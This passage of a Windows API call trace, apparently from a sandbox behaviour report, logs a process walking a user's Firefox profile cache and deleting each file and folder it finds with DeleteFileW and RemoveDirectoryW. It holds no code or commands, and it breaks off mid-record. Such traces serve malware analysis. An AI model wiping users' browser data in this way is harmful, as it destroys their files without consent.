[0117.603] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.603] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.603] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.603] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.603] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d")) returned 1 [0117.603] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6384bf70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="E", cAlternateFileName="")) returned 1 [0117.603] lstrlenW (lpString="E") returned 1 [0117.603] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="E" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E" [0117.603] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E") returned 81 [0117.603] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.603] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.603] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.603] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\*.*" [0117.603] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6384bf70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.604] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6384bf70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.604] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6384bf70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="17", cAlternateFileName="")) returned 1 [0117.604] lstrlenW (lpString="17") returned 2 [0117.604] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E", pszFile="17" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17" [0117.604] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17") returned 84 [0117.604] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.604] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.604] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.604] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17\\*.*" [0117.604] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6384bf70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.604] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6384bf70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.604] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xb973, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="D467Fd01", cAlternateFileName="")) returned 1 [0117.604] lstrlenW (lpString="D467Fd01") returned 8 [0117.604] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17", pszFile="D467Fd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17\\D467Fd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17\\D467Fd01" [0117.604] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17\\D467Fd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\17\\d467fd01")) returned 1 [0117.605] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6384bf70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xb973, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="D467Fd01", cAlternateFileName="")) returned 0 [0117.605] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.605] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.605] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.605] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.605] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\17" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\17")) returned 1 [0117.605] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c8da60, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c8da60, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c8da60, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="45", cAlternateFileName="")) returned 1 [0117.605] lstrlenW (lpString="45") returned 2 [0117.605] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E", pszFile="45" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45" [0117.605] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45") returned 84 [0117.605] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.605] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.605] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.605] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45\\*.*" [0117.605] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c8da60, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c8da60, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c8da60, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.605] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c8da60, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c8da60, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c8da60, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.606] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41c8da60, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c8da60, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41cb3bc0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x7e44, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C6466d01", cAlternateFileName="")) returned 1 [0117.606] lstrlenW (lpString="C6466d01") returned 8 [0117.606] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45", pszFile="C6466d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45\\C6466d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45\\C6466d01" [0117.606] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45\\C6466d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\45\\c6466d01")) returned 1 [0117.606] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41c8da60, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c8da60, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41cb3bc0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x7e44, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C6466d01", cAlternateFileName="")) returned 0 [0117.606] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.606] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.606] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.606] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.606] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\45" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\45")) returned 1 [0117.606] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x423fdf20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x423fdf20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x423fdf20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="57", cAlternateFileName="")) returned 1 [0117.606] lstrlenW (lpString="57") returned 2 [0117.606] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E", pszFile="57" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57" [0117.606] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57") returned 84 [0117.606] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.607] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.607] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.607] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57\\*.*" [0117.607] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x423fdf20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x423fdf20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x423fdf20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.607] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x423fdf20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x423fdf20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x423fdf20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.607] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423fdf20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x423fdf20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x423fdf20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C6B34d01", cAlternateFileName="")) returned 1 [0117.607] lstrlenW (lpString="C6B34d01") returned 8 [0117.607] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57", pszFile="C6B34d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57\\C6B34d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57\\C6B34d01" [0117.607] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57\\C6B34d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\57\\c6b34d01")) returned 1 [0117.623] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423fdf20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x423fdf20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x423fdf20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C6B34d01", cAlternateFileName="")) returned 0 [0117.623] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.623] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\57" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\57")) returned 1 [0117.623] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x424bc600, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x424bc600, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x424bc600, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="69", cAlternateFileName="")) returned 1 [0117.623] lstrlenW (lpString="69") returned 2 [0117.623] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E", pszFile="69" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69" [0117.623] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69") returned 84 [0117.623] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.623] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.624] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.624] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69\\*.*" [0117.624] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x424bc600, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x424bc600, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x424bc600, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.624] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x424bc600, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x424bc600, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x424bc600, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.624] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x424bc600, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x424bc600, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x425088c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x10d22, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="885EEd01", cAlternateFileName="")) returned 1 [0117.624] lstrlenW (lpString="885EEd01") returned 8 [0117.624] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69", pszFile="885EEd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69\\885EEd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69\\885EEd01" [0117.624] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\E\\69\\885EEd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\e\\69\\885eed01")) returned 1 [0117.624] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x424bc600, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x424bc600, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x425088c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, 